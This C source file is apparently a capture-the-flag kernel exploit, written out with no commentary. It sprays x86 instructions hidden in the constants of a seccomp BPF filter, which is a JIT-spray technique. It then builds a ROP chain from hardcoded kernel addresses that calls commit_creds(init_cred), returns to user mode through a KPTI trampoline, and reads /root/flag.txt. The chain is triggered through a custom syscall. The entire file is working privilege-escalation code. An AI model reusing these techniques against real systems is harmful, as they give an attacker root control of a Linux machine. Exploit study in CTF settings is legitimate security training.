#define _GNU_SOURCE #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #include <sched.h> #include <sys/types.h> #include <linux/keyctl.h>
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
char *binsh = "/bin/sh"; void get_root_shell(){ char buf[0x200]; int fd = open("/root/flag.txt", 0); read(fd, buf, 0x100); write(1, buf, 0x100); }
void bindCore(int core) { cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
#include <linux/seccomp.h> #include <linux/filter.h> #include <sys/prctl.h> #include <sys/syscall.h> #include <stddef.h>
void install_filter(){ struct sock_filter filter[0x1000] ;
for(int i = 0; i < 0x1000; i++) filter[i].code = BPF_LD + BPF_K, filter[i].k = 0XB3909090; filter[0xfff].code = BPF_RET | BPF_K, filter[0xfff].k = SECCOMP_RET_ALLOW; int k = 0x300; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3906fb1; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3e1220f; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB39023b2; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB39001b6; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB30ce2c1; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3d48948; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c3c3c3;
filter[0].code = BPF_RET | BPF_K, filter[0].k = SECCOMP_RET_ALLOW;
struct sock_fprog prog = { .len = sizeof(filter) / sizeof(filter[0]), .filter = (struct sock_filter*)filter, }; if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) { perror("PR_SET_NO_NEW_PRIVS"); exit(-1); } if(prctl(PR_SET_SECCOMP, 2, &prog) < 0) { perror("set_seccomp"); exit(-1); } }
#include <sys/mman.h> int main(){
save_status(); bindCore(0);
install_filter();
mmap(0x122000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); memset(0x122000, 0, 0x1000); void *page = mmap(0x123000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("page == %p\n", page); memset(page, 0, sizeof(page));
size_t pop_rdi_ret = 0xffffffff81138833; size_t commit_creds = 0xffffffff81073ad0; size_t kpti = 0xFFFFFFFF81800F1B ; size_t init_cred = 0xFFFFFFFF81E35DA0; size_t swapgs_ret = 0xFFFFFFFF8180102B; size_t iretq = 0xFFFFFFFF81800EB7; size_t _x64_sys_execve = 0xFFFFFFFF811505C0; size_t pop_rsi_ret = 0xffffffff812d2ec0; size_t do_syscall_64 = 0xFFFFFFFF81618F60;
size_t data[0x1000]; int k = 0; data[k++] = pop_rdi_ret; data[k++] = init_cred; data[k++] = commit_creds; data[k++] = pop_rdi_ret; data[k++] = 0x123000+0x800; data[k++] = pop_rsi_ret; data[k++] = 0x3b; data[k++] = do_syscall_64;
data[k++] = kpti; data[k++] = 0x123000+8*10; data[k++] = 0; data[k++] = get_root_shell; data[k++] = user_cs; data[k++] = user_rflags; data[k++] = user_sp; data[k++] = user_ss;
data[0x100+14] = binsh; data[0x100+13] = 0; data[0x100+12] = 0;
memcpy(page, data, 0x1000);
asm volatile ( "mov rdi, 0xffffffffc0011000;" "mov rax, 1337;" "syscall;" ); }
|